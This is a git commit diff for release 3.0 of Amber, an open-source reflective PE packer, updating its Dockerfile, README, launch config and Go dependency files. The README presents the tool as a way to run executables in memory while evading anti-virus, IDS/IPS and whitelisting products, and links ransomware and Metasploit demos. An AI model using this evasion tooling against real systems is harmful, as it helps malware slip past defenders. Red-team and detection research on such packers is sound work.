v3.0 Stable Release !!!

This commit is contained in:
Ege Balcı
2020-11-23 01:10:01 +03:00
parent a104902480
commit 4f69ba1c22
37 changed files with 1612 additions and 1688 deletions
+5
View File
@@ -19,6 +19,11 @@
.idea .idea
# vscode debug configs
.vscode
.vscode/*
# BUILDS # BUILDS
build build
stub/*.exe
amber amber
+1 -1
View File
@@ -11,7 +11,7 @@
"mode": "auto", "mode": "auto",
"program": "${fileDirname}", "program": "${fileDirname}",
"env": {}, "env": {},
"args": [] "args": ["-f","/tmp/putty.exe"]
} }
] ]
} }
+27 -10
View File
@@ -1,12 +1,29 @@
FROM golang:1.15-buster as builder
FROM ubuntu:17.10 RUN apt-get update && apt-get -y install \
MAINTAINER Ege Balcı <ege.balci@invictuseurope.com> build-essential \
USER root cmake \
RUN apt-get update -y g++-multilib \
RUN apt-get install -y git golang nasm fonts-powerline gcc-multilib \
RUN mkdir /root/go git \
ENV GOPATH /root/go libcapstone-dev \
RUN go get -v github.com/egebalci/amber python3 \
time
WORKDIR /root/
RUN git clone https://github.com/EgeBalci/keystone
RUN mkdir keystone/build
WORKDIR /root/keystone/build
ENTRYPOINT ["/root/go/bin/amber"] RUN ../make-lib.sh
CMD ["--help"] RUN cmake -DCMAKE_BUILD_TYPE=Release -DBUILD_SHARED_LIBS=OFF -DLLVM_TARGETS_TO_BUILD="AArch64;X86" -G "Unix Makefiles" ..
RUN make -j8
RUN make install && ldconfig
WORKDIR /root
RUN git clone https://github.com/egebalci/amber
WORKDIR /root/amber
RUN go build -o /root/bin/amber -ldflags '-w -s -extldflags -static' -trimpath main.go
FROM scratch
COPY --from=builder /root/bin/amber /amber
ENTRYPOINT ["/amber"]
+101 -68
View File
@@ -1,53 +1,43 @@
<p align="center">
<img src="https://github.com/EgeBalci/amber/raw/master/img/banner.png">
<br/>
<a href="https://github.com/EgeBalci/amber">
<img src="https://img.shields.io/badge/version-3.0.0-green.svg?style=flat-square">
</a>
<a href="https://goreportcard.com/report/github.com/egebalci/amber">
<img src="https://goreportcard.com/badge/github.com/egebalci/amber?style=flat-square">
</a>
<a href="https://github.com/EgeBalci/amber/issues">
<img src="https://img.shields.io/github/issues/egebalci/amber?style=flat-square&color=red">
</a>
<a href="https://raw.githubusercontent.com/EgeBalci/sgn/master/LICENSE">
<img src="https://img.shields.io/github/license/egebalci/amber.svg?style=flat-square">
</a>
<a href="https://twitter.com/egeblc">
<img src="https://img.shields.io/badge/twitter-@egeblc-55acee.svg?style=flat-square">
</a>
</p>
[![Banner](https://github.com/EgeBalci/amber/raw/master/banner.png)](https://github.com/egebalci/amber) # Inroduction
[![Version](https://img.shields.io/badge/version-2.0.0-green.svg)](https://github.com/egebalci/amber) [![License](https://img.shields.io/packagist/l/doctrine/orm.svg)](https://raw.githubusercontent.com/EgeBalci/amber/master/LICENSE) [![Go Report Card](https://goreportcard.com/badge/github.com/egebalci/amber)](https://goreportcard.com/report/github.com/egebalci/amber) [![Twitter](https://img.shields.io/twitter/url/http/shields.io.svg?style=social)](https://twitter.com/egeblc) Amber is a position-independent(reflective) PE loader that enables in-memory execution of native PE files(EXE, DLL, SYS...). It enables stealthy in-memory payload deployment that can be used to bypass anti-virus, firewall, IDS, IPS products, and application white-listing mitigations. Reflective payloads generated by Amber can either be staged from a remote server or executed directly in memory much like a generic shellcode. By default, every generated payload is encoded using the new generation [SGN encoder](https://github.com/EgeBalci/sgn). Amber uses [CRC32_API](https://github.com/EgeBalci/crc32_api) and [IAT_API](https://github.com/EgeBalci/iat_api) for inconspicuously resolving the Windows API function addresses. After the PE file is loaded and executed in memory, the reflective payload is erased for evading memory scanners.
Developed By Ege Balcı @[PRODAFT](https://prodaft.com).
amber is a reflective PE packer for bypassing security products and mitigations. It can pack regularly compiled PE files into reflective payloads that can load and execute itself like a shellcode. It enables stealthy in-memory payload deployment that can be used to bypass anti-virus, firewall, IDS, IPS products and application white-listing mitigations. If you want to learn more about the packing methodology used inside amber check out below. For more detail about usage, installation and how to decrease detection rate check out [WIKI](https://github.com/egebalci/amber/wiki). # Installation
Pre-compiled binaries can be found under [releases](https://github.com/EgeBalci/amber/releases).
Developed By Ege Balcı from [INVICTUS](https://invictuseurope.com)/[PRODAFT](https://prodaft.com). ***Building From Source***
# REFLECTIVE PE PACKING WITH AMBER The only dependency for building the source is the [keystone engine](https://github.com/keystone-engine/keystone), follow [these](https://github.com/keystone-engine/keystone/blob/master/docs/COMPILE.md) instructions for installing the library. Once libkeystone is installed on the system, simply just go get it ツ
<br>
<a href="https://pentest.blog/introducing-new-packing-method-first-reflective-pe-packer" target="_blank">
<img height="250" align="left" src="https://pentest.blog/wp-content/uploads/68747470733a2f2f696d6167652e6962622e636f2f66426e51566d2f70656e746573745f626c6f67332e6a7067.jpeg" alt="DEMO1" />
</a>
<a href="https://raw.githubusercontent.com/EgeBalci/amber/master/PAPER.pdf"></a>
<a href="https://github.com/EgeBalci/amber/raw/master/PAPER.pdf">
<img align="right" src="https://pentest.blog/wp-content/uploads/pdf2.png"/>
</a>
<br><br><br><br><br><br><br><br>
# INSTALLATION
***DEPENDENCIES***
- [go](https://golang.org/dl/)
- [NASM](https://www.nasm.us/)
On *nix systems both of the dependencies can be installed with OS packet managers. (APT/PACMAN/YUM)
Get one of the pre-build release [here](https://github.com/egebalci/amber/releases). Or get it with following alternatives.
***GO (suggested)***
``` ```
go get github.com/egebalci/amber go get github.com/EgeBalci/amber
``` ```
***BLACKARCH INSTALL*** ***Docker Install***
```
sudo pacman -S amber
```
***DOCKER INSTALL***
[![Docker](http://dockeri.co/image/egee/amber)](https://hub.docker.com/r/egee/amber/) [![Docker](http://dockeri.co/image/egee/amber)](https://hub.docker.com/r/egee/amber/)
@@ -56,41 +46,84 @@ docker pull egee/amber
docker run -it egee/amber docker run -it egee/amber
``` ```
# USAGE # Usage
<p align="center">
<img src="https://github.com/EgeBalci/amber/raw/master/img/usage.gif">
</p>
The following table lists switches supported by the amber.
<table border="1">
<tr>
<th>Switch</th>
<th>Type</th>
<th>Description</th>
</tr>
<tr>
<td><strong>-build</strong></td>
<td><var>bool</var></td>
<td>Build EXE stub that executes the generated reflective payload</td>
</tr>
<tr>
<td><strong>-e</strong></td>
<td><var>int</var></td>
<td>Number of times to encode the generated reflective payload</td>
</tr>
<tr>
<td><strong>-f</strong></td>
<td><var>string</var></td>
<td>Input PE file.</td>
</tr>
<tr>
<td><strong>-iat</strong></td>
<td><var>bool</var></td>
<td>Use IAT API resolver block instead of CRC API resolver block</td>
</tr>
<tr>
<td><strong>-ignore-checks</strong></td>
<td><var>bool</var></td>
<td>Ignore integrity check errors.</td>
</tr>
<tr>
<td><strong>-max</strong></td>
<td><var>int</var></td>
<td>Maximum number of bytes for obfuscation (default 5)</td>
</tr>
<tr>
<td><strong>-stub</strong></td>
<td><var>string</var></td>
<td>Use custom stub file for executing the generated reflective payload (currently very unstable)</td>
</tr>
</table>
**Example Usage**
- Generate reflective payload.
``` ```
USAGE: amber -f test.exe
amber [options] file.exe
OPTIONS:
-k, -keysize Size of the encryption key in bytes (Max:255/Min:8)
-r, -reflective Generated a reflective payload
-a, -anti-analysis Add anti-analysis measures
-i, -iat Use import address table entries instead of export address table
-s, -scrape Scrape the PE header info (May break some files)
-no-resource Don't add any resource data (removes icon)
-ignore-integrity Ignore integrity check errors
-v, -verbose Verbose output mode
-h, -H Show this massage
EXAMPLE:
(Default settings if no option parameter passed)
amber -k 8 file.exe
``` ```
- Generate reflective payload and build EXE stub for executing it.
```
amber -build -f test.exe
```
***Docker Usage*** ***Docker Usage***
``` ```
docker run -it -v /tmp/:/tmp/ amber /tmp/file.exe docker run -it -v /tmp/:/tmp/ amber -f /tmp/file.exe
``` ```
# EXAMPLE USAGE # Demo
- <strong>NOPcon 2018 [DEMO](https://www.youtube.com/watch?v=lCPdKSH6RMc)</strong> - [NOPcon 2018 DEMO](https://www.youtube.com/watch?v=lCPdKSH6RMc)
- [Pentest.blog - Deploying Reflective PE Files With Metasploit](https://www.youtube.com/watch?v=3en0ftnjEpE)
<br><br> - [Pentest.blog - Deploying Reflective Ransomware POC](https://www.youtube.com/watch?v=JVv_spX6D4U)
<a href="https://www.youtube.com/watch?v=JVv_spX6D4U" target="_blank">
<img src="http://img.youtube.com/vi/JVv_spX6D4U/0.jpg" alt="DEMO1" width="400" height="300" align="right"/>
</a>
<a href="https://www.youtube.com/watch?v=3en0ftnjEpE" target="_blank">
<img src="https://pentest.blog/wp-content/uploads/Screenshot-at-2018-02-23-22-42-18-2-1024x704.png" alt="DEMO1" width="400" height="300" align="left"/>
</a><br><br><br>
<br>
Submodule debug deleted from d79a6eb188
+3 -13
View File
@@ -1,21 +1,11 @@
module amber module github.com/EgeBalci/amber
go 1.15 go 1.15
require ( require (
github.com/EgeBalci/debug v0.0.0-20201116162432-d79a6eb18848
github.com/EgeBalci/keystone-go v0.0.0-20200525180613-e6c7cd32ceae github.com/EgeBalci/keystone-go v0.0.0-20200525180613-e6c7cd32ceae
github.com/EgeBalci/sgn v0.0.0-20201122214045-550a17d79251
github.com/briandowns/spinner v1.11.1 github.com/briandowns/spinner v1.11.1
github.com/egebalci/sgn v0.0.0-20201106153228-98d40a9d3113
github.com/fatih/color v1.10.0 github.com/fatih/color v1.10.0
github.com/go-delve/delve v1.5.0 // indirect
github.com/google/go-dap v0.3.0 // indirect
github.com/mattn/go-runewidth v0.0.9 // indirect
github.com/peterh/liner v1.2.0 // indirect
github.com/russross/blackfriday/v2 v2.1.0 // indirect
github.com/sirupsen/logrus v1.7.0 // indirect
github.com/spf13/cobra v1.1.1 // indirect
go.starlark.net v0.0.0-20201113214410-e292e66a28cd // indirect
golang.org/x/arch v0.0.0-20201008161808-52c3e6f60cff // indirect
golang.org/x/sys v0.0.0-20201116194326-cc9327a14d48 // indirect
gopkg.in/yaml.v2 v2.3.0 // indirect
) )
+7 -344
View File
@@ -1,361 +1,24 @@
cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw= github.com/EgeBalci/debug v0.0.0-20201116162432-d79a6eb18848 h1:xp+mcTlDdvF6gCe/eSkaDmpQ4Kd7zUAPLZxPfqNjvWA=
cloud.google.com/go v0.34.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw= github.com/EgeBalci/debug v0.0.0-20201116162432-d79a6eb18848/go.mod h1:7fXlZBJFFub/8MYzeBI6HFwNkwL2cw8pe3yrWTJduwc=
cloud.google.com/go v0.38.0/go.mod h1:990N+gfupTy94rShfmMCWGDn0LpTmnzTp2qbd1dvSRU=
cloud.google.com/go v0.44.1/go.mod h1:iSa0KzasP4Uvy3f1mN/7PiObzGgflwredwwASm/v6AU=
cloud.google.com/go v0.44.2/go.mod h1:60680Gw3Yr4ikxnPRS/oxxkBccT6SA1yMk63TGekxKY=
cloud.google.com/go v0.45.1/go.mod h1:RpBamKRgapWJb87xiFSdk4g1CME7QZg3uwTez+TSTjc=
cloud.google.com/go v0.46.3/go.mod h1:a6bKKbmY7er1mI7TEI4lsAkts/mkhTSZK8w33B4RAg0=
cloud.google.com/go/bigquery v1.0.1/go.mod h1:i/xbL2UlR5RvWAURpBYZTtm/cXjCha9lbfbpx4poX+o=
cloud.google.com/go/datastore v1.0.0/go.mod h1:LXYbyblFSglQ5pkeyhO+Qmw7ukd3C+pD7TKLgZqpHYE=
cloud.google.com/go/firestore v1.1.0/go.mod h1:ulACoGHTpvq5r8rxGJ4ddJZBZqakUQqClKRT5SZwBmk=
cloud.google.com/go/pubsub v1.0.1/go.mod h1:R0Gpsv3s54REJCy4fxDixWD93lHJMoZTyQ2kNxGRt3I=
cloud.google.com/go/storage v1.0.0/go.mod h1:IhtSnM/ZTZV8YYJWCY8RULGVqBDmpoyjwiyrjsg+URw=
dmitri.shuralyov.com/gpu/mtl v0.0.0-20190408044501-666a987793e9/go.mod h1:H6x//7gZCb22OMCxBHrMx7a5I7Hp++hsVxbQ4BYO7hU=
github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=
github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo=
github.com/EgeBalci/keystone-go v0.0.0-20191020215946-e413e564d55a/go.mod h1:/HCfOmUN3INldcXC0YnFrOtOw3MuRFEQ9cKTT5fZuQ8=
github.com/EgeBalci/keystone-go v0.0.0-20200525180613-e6c7cd32ceae h1:IMOEVXYMrzHg+1oWgTYBEwzMGsxFHUgoreu2Ic62K7Q= github.com/EgeBalci/keystone-go v0.0.0-20200525180613-e6c7cd32ceae h1:IMOEVXYMrzHg+1oWgTYBEwzMGsxFHUgoreu2Ic62K7Q=
github.com/EgeBalci/keystone-go v0.0.0-20200525180613-e6c7cd32ceae/go.mod h1:/HCfOmUN3INldcXC0YnFrOtOw3MuRFEQ9cKTT5fZuQ8= github.com/EgeBalci/keystone-go v0.0.0-20200525180613-e6c7cd32ceae/go.mod h1:/HCfOmUN3INldcXC0YnFrOtOw3MuRFEQ9cKTT5fZuQ8=
github.com/OneOfOne/xxhash v1.2.2/go.mod h1:HSdplMjZKSmBqAxg5vPj2TmRDmfkzw+cTzAElWljhcU= github.com/EgeBalci/sgn v0.0.0-20201122214045-550a17d79251 h1:VyTVKce2AzuB6521arwJvyQFHLQ0USNnw/0IZ/RP3bE=
github.com/alecthomas/template v0.0.0-20160405071501-a0175ee3bccc/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc= github.com/EgeBalci/sgn v0.0.0-20201122214045-550a17d79251/go.mod h1:gI4nYEhbKmf35Q+NPyoX+o1ajkCgabjYjsyu19tmfgM=
github.com/alecthomas/units v0.0.0-20151022065526-2efee857e7cf/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0=
github.com/armon/circbuf v0.0.0-20150827004946-bbbad097214e/go.mod h1:3U/XgcO3hCbHZ8TKRvWD2dDTCfh9M9ya+I9JpbB7O8o=
github.com/armon/go-metrics v0.0.0-20180917152333-f0300d1749da/go.mod h1:Q73ZrmVTwzkszR9V5SSuryQ31EELlFMUz1kKyl939pY=
github.com/armon/go-radix v0.0.0-20180808171621-7fddfc383310/go.mod h1:ufUuZ+zHj4x4TnLV4JWEpy2hxWSpsRywHrMgIH9cCH8=
github.com/beorn7/perks v0.0.0-20180321164747-3a771d992973/go.mod h1:Dwedo/Wpr24TaqPxmxbtue+5NUziq4I4S80YR8gNf3Q=
github.com/beorn7/perks v1.0.0/go.mod h1:KWe93zE9D1o94FZ5RNwFwVgaQK1VOXiVxmqh+CedLV8=
github.com/bgentry/speakeasy v0.1.0/go.mod h1:+zsyZBPWlz7T6j88CTgSN5bM796AkVf0kBD4zp0CCIs=
github.com/bketelsen/crypt v0.0.3-0.20200106085610-5cbc8cc4026c/go.mod h1:MKsuJmJgSg28kpZDP6UIiPt0e0Oz0kqKNGyRaWEPv84=
github.com/briandowns/spinner v1.9.0/go.mod h1://Zf9tMcxfRUA36V23M6YGEAv+kECGfvpnLTnb8n4XQ=
github.com/briandowns/spinner v1.11.1 h1:OixPqDEcX3juo5AjQZAnFPbeUA0jvkp2qzB5gOZJ/L0= github.com/briandowns/spinner v1.11.1 h1:OixPqDEcX3juo5AjQZAnFPbeUA0jvkp2qzB5gOZJ/L0=
github.com/briandowns/spinner v1.11.1/go.mod h1:QOuQk7x+EaDASo80FEXwlwiA+j/PPIcX3FScO+3/ZPQ= github.com/briandowns/spinner v1.11.1/go.mod h1:QOuQk7x+EaDASo80FEXwlwiA+j/PPIcX3FScO+3/ZPQ=
github.com/cespare/xxhash v1.1.0/go.mod h1:XrSqR1VqqWfGrhpAt58auRo0WTKS1nRRg3ghfAqPWnc=
github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI=
github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5PlCu98SY8svDHJxuZscDgtXS6KTTbou5AhLI=
github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMnBNeIyt5eFwwo7qiLfzFZmjNmxjkiQlU=
github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw=
github.com/coreos/bbolt v1.3.2/go.mod h1:iRUV2dpdMOn7Bo10OQBFzIJO9kkE559Wcmn+qkEiiKk=
github.com/coreos/etcd v3.3.13+incompatible/go.mod h1:uF7uidLiAD3TWHmW31ZFd/JWoc32PjwdhPthX9715RE=
github.com/coreos/go-semver v0.3.0/go.mod h1:nnelYz7RCh+5ahJtPPxZlU+153eP4D4r3EedlOD2RNk=
github.com/coreos/go-systemd v0.0.0-20190321100706-95778dfbb74e/go.mod h1:F5haX7vjVVG0kc13fIWeqUViNPyEJxv/OmvnBo0Yme4=
github.com/coreos/pkg v0.0.0-20180928190104-399ea9e2e55f/go.mod h1:E3G3o1h8I7cfcXa63jLwjI0eiQQMgzzUDFVpN/nH/eA=
github.com/cosiner/argv v0.1.0 h1:BVDiEL32lwHukgJKP87btEPenzrrHUjajs/8yzaqcXg=
github.com/cosiner/argv v0.1.0/go.mod h1:EusR6TucWKX+zFgtdUsKT2Cvg45K5rtpCcWz4hK06d8=
github.com/cpuguy83/go-md2man v1.0.10/go.mod h1:SmD6nW6nTyfqj6ABTjUi3V3JVMnlJmwcJI5acqYI6dE=
github.com/cpuguy83/go-md2man/v2 v2.0.0 h1:EoUDS0afbrsXAZ9YQ9jdu/mZ2sXgT1/2yyNng4PGlyM=
github.com/cpuguy83/go-md2man/v2 v2.0.0/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU=
github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E=
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/dgrijalva/jwt-go v3.2.0+incompatible/go.mod h1:E3ru+11k8xSBh+hMPgOLZmtrrCbhqsmaPHjLKYnJCaQ=
github.com/dgryski/go-sip13 v0.0.0-20181026042036-e10d5fee7954/go.mod h1:vAd38F8PWV+bWy6jNmig1y/TA+kYO4g3RSRF0IAv0no=
github.com/egebalci/sgn v0.0.0-20201106153228-98d40a9d3113 h1:SNz+7wRI8IHSOrnpUY2VAi6DV7ByUS/sbdRdz1i0W8Q=
github.com/egebalci/sgn v0.0.0-20201106153228-98d40a9d3113/go.mod h1:onHRxWo66Y2cS6AVf4KUYDeFmwSmBrBc0uGsMvES26E=
github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4= github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4=
github.com/fatih/color v1.9.0/go.mod h1:eQcE1qtQxscV5RaZvpXrrb8Drkc3/DdQ+uUYCNjL+zU=
github.com/fatih/color v1.10.0 h1:s36xzo75JdqLaaWoiEHk767eHiwo0598uUxyfiPkDsg= github.com/fatih/color v1.10.0 h1:s36xzo75JdqLaaWoiEHk767eHiwo0598uUxyfiPkDsg=
github.com/fatih/color v1.10.0/go.mod h1:ELkj/draVOlAH/xkhN6mQ50Qd0MPOk5AAr3maGEBuJM= github.com/fatih/color v1.10.0/go.mod h1:ELkj/draVOlAH/xkhN6mQ50Qd0MPOk5AAr3maGEBuJM=
github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo=
github.com/ghodss/yaml v1.0.0/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeMEF04=
github.com/go-delve/delve v1.5.0 h1:gQsRvFdR0BGk19NROQZsAv6iG4w5QIZoJlxJeEUBb0c=
github.com/go-delve/delve v1.5.0/go.mod h1:c6b3a1Gry6x8a4LGCe/CWzrocrfaHvkUxCj3k4bvSUQ=
github.com/go-gl/glfw v0.0.0-20190409004039-e6da0acd62b1/go.mod h1:vR7hzQXu2zJy9AVAgeJqvqgH9Q5CA+iKCZ2gyEVpxRU=
github.com/go-kit/kit v0.8.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as=
github.com/go-logfmt/logfmt v0.3.0/go.mod h1:Qt1PoO58o5twSAckw1HlFXLmHsOX5/0LbT9GBnD5lWE=
github.com/go-logfmt/logfmt v0.4.0/go.mod h1:3RMwSq7FuexP4Kalkev3ejPJsZTpXXBr9+V4qmtdjCk=
github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY=
github.com/gogo/protobuf v1.1.1/go.mod h1:r8qH/GZQm5c6nD/R0oafs1akxWv10x8SbQlK7atdtwQ=
github.com/gogo/protobuf v1.2.1/go.mod h1:hp+jE20tsWTFYpLwKvXlhS1hjn+gTNwPg2I6zVXpSg4=
github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q=
github.com/golang/groupcache v0.0.0-20190129154638-5b532d6fd5ef/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=
github.com/golang/mock v1.1.1/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A=
github.com/golang/mock v1.2.0/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A=
github.com/golang/mock v1.3.1/go.mod h1:sBzyDLLjw3U8JLTeZvSv8jJB+tU5PVekmnlKIyFUx0Y=
github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
github.com/golang/protobuf v1.3.1/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
github.com/golang/protobuf v1.3.2/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
github.com/google/btree v0.0.0-20180813153112-4030bb1f1f0c/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ=
github.com/google/btree v1.0.0/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ=
github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M=
github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU=
github.com/google/go-dap v0.2.0 h1:whjIGQRumwbR40qRU7CEKuFLmePUUc2s4Nt9DoXXxWk=
github.com/google/go-dap v0.2.0/go.mod h1:5q8aYQFnHOAZEMP+6vmq25HKYAEwE+LF5yh7JKrrhSQ=
github.com/google/go-dap v0.3.0 h1:Dc4izN0u4VhZERYrz80f1PSEoDsVfdVmdM/W82CxzFk=
github.com/google/go-dap v0.3.0/go.mod h1:5q8aYQFnHOAZEMP+6vmq25HKYAEwE+LF5yh7JKrrhSQ=
github.com/google/martian v2.1.0+incompatible/go.mod h1:9I4somxYTbIHy5NJKHRl3wXiIaQGbYVAs8BPL6v8lEs=
github.com/google/pprof v0.0.0-20181206194817-3ea8567a2e57/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc=
github.com/google/pprof v0.0.0-20190515194954-54271f7e092f/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc=
github.com/google/renameio v0.1.0/go.mod h1:KWCgfxg9yswjAJkECMjeO8J8rahYeXnNhOm40UhjYkI=
github.com/googleapis/gax-go/v2 v2.0.4/go.mod h1:0Wqv26UfaUD9n4G6kQubkQ+KchISgw+vpHVxEJEs9eg=
github.com/googleapis/gax-go/v2 v2.0.5/go.mod h1:DWXyrwAJ9X0FpwwEdw+IPEYBICEFu5mhpdKc/us6bOk=
github.com/gopherjs/gopherjs v0.0.0-20181017120253-0766667cb4d1/go.mod h1:wJfORRmW1u3UXTncJ5qlYoELFm8eSnnEO6hX4iZ3EWY=
github.com/gorilla/websocket v1.4.2/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
github.com/grpc-ecosystem/go-grpc-middleware v1.0.0/go.mod h1:FiyG127CGDf3tlThmgyCl78X/SZQqEOJBCDaAfeWzPs=
github.com/grpc-ecosystem/go-grpc-prometheus v1.2.0/go.mod h1:8NvIoxWQoOIhqOTXgfV/d3M/q6VIi02HzZEHgUlZvzk=
github.com/grpc-ecosystem/grpc-gateway v1.9.0/go.mod h1:vNeuVxBJEsws4ogUvrchl83t/GYV9WGTSLVdBhOQFDY=
github.com/hashicorp/consul/api v1.1.0/go.mod h1:VmuI/Lkw1nC05EYQWNKwWGbkg+FbDBtguAZLlVdkD9Q=
github.com/hashicorp/consul/sdk v0.1.1/go.mod h1:VKf9jXwCTEY1QZP2MOLRhb5i/I/ssyNV1vwHyQBF0x8=
github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4=
github.com/hashicorp/go-cleanhttp v0.5.1/go.mod h1:JpRdi6/HCYpAwUzNwuwqhbovhLtngrth3wmdIIUrZ80=
github.com/hashicorp/go-immutable-radix v1.0.0/go.mod h1:0y9vanUI8NX6FsYoO3zeMjhV/C5i9g4Q3DwcSNZ4P60=
github.com/hashicorp/go-msgpack v0.5.3/go.mod h1:ahLV/dePpqEmjfWmKiqvPkv/twdG7iPBM1vqhUKIvfM=
github.com/hashicorp/go-multierror v1.0.0/go.mod h1:dHtQlpGsu+cZNNAkkCN/P3hoUDHhCYQXV3UM06sGGrk=
github.com/hashicorp/go-rootcerts v1.0.0/go.mod h1:K6zTfqpRlCUIjkwsN4Z+hiSfzSTQa6eBIzfwKfwNnHU=
github.com/hashicorp/go-sockaddr v1.0.0/go.mod h1:7Xibr9yA9JjQq1JpNB2Vw7kxv8xerXegt+ozgdvDeDU=
github.com/hashicorp/go-syslog v1.0.0/go.mod h1:qPfqrKkXGihmCqbJM2mZgkZGvKG1dFdvsLplgctolz4=
github.com/hashicorp/go-uuid v1.0.0/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro=
github.com/hashicorp/go-uuid v1.0.1/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro=
github.com/hashicorp/go.net v0.0.1/go.mod h1:hjKkEWcCURg++eb33jQU7oqQcI9XDCnUzHA0oac0k90=
github.com/hashicorp/golang-lru v0.5.0/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8=
github.com/hashicorp/golang-lru v0.5.1/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8=
github.com/hashicorp/golang-lru v0.5.4 h1:YDjusn29QI/Das2iO9M0BHnIbxPeyuCHsjMW+lJfyTc=
github.com/hashicorp/golang-lru v0.5.4/go.mod h1:iADmTwqILo4mZ8BN3D2Q6+9jd8WM5uGBxy+E8yxSoD4=
github.com/hashicorp/hcl v1.0.0/go.mod h1:E5yfLk+7swimpb2L/Alb/PJmXilQ/rhwaUYs4T20WEQ=
github.com/hashicorp/logutils v1.0.0/go.mod h1:QIAnNjmIWmVIIkWDTG1z5v++HQmx9WQRO+LraFDTW64=
github.com/hashicorp/mdns v1.0.0/go.mod h1:tL+uN++7HEJ6SQLQ2/p+z2pH24WQKWjBPkE0mNTz8vQ=
github.com/hashicorp/memberlist v0.1.3/go.mod h1:ajVTdAv/9Im8oMAAj5G31PhhMCZJV2pPBoIllUwCN7I=
github.com/hashicorp/serf v0.8.2/go.mod h1:6hOLApaqBFA1NXqRQAsxw9QxuDEvNxSQRwA/JwenrHc=
github.com/inconshreveable/mousetrap v1.0.0/go.mod h1:PxqpIevigyE2G7u3NXJIT2ANytuPF1OarO4DADm73n8=
github.com/jonboulle/clockwork v0.1.0/go.mod h1:Ii8DK3G1RaLaWxj9trq07+26W01tbo22gdxWY5EU2bo=
github.com/json-iterator/go v1.1.6/go.mod h1:+SdeFBvtyEkXs7REEP0seUULqWtbJapLOCVDaaPEHmU=
github.com/jstemmer/go-junit-report v0.0.0-20190106144839-af01ea7f8024/go.mod h1:6v2b51hI/fHJwM22ozAgKL4VKDeJcHhJFhtBdhmNjmU=
github.com/jtolds/gls v4.20.0+incompatible/go.mod h1:QJZ7F/aHp+rZTRtaJ1ow/lLfFfVYBRgL+9YlvaHOwJU=
github.com/julienschmidt/httprouter v1.2.0/go.mod h1:SYymIcj16QtmaHHD7aYtjjsJG7VTCxuUUipMqKk8s4w=
github.com/kisielk/errcheck v1.1.0/go.mod h1:EZBBE59ingxPouuu3KfxchcWSUPOHkagtvWXihfKN4Q=
github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck=
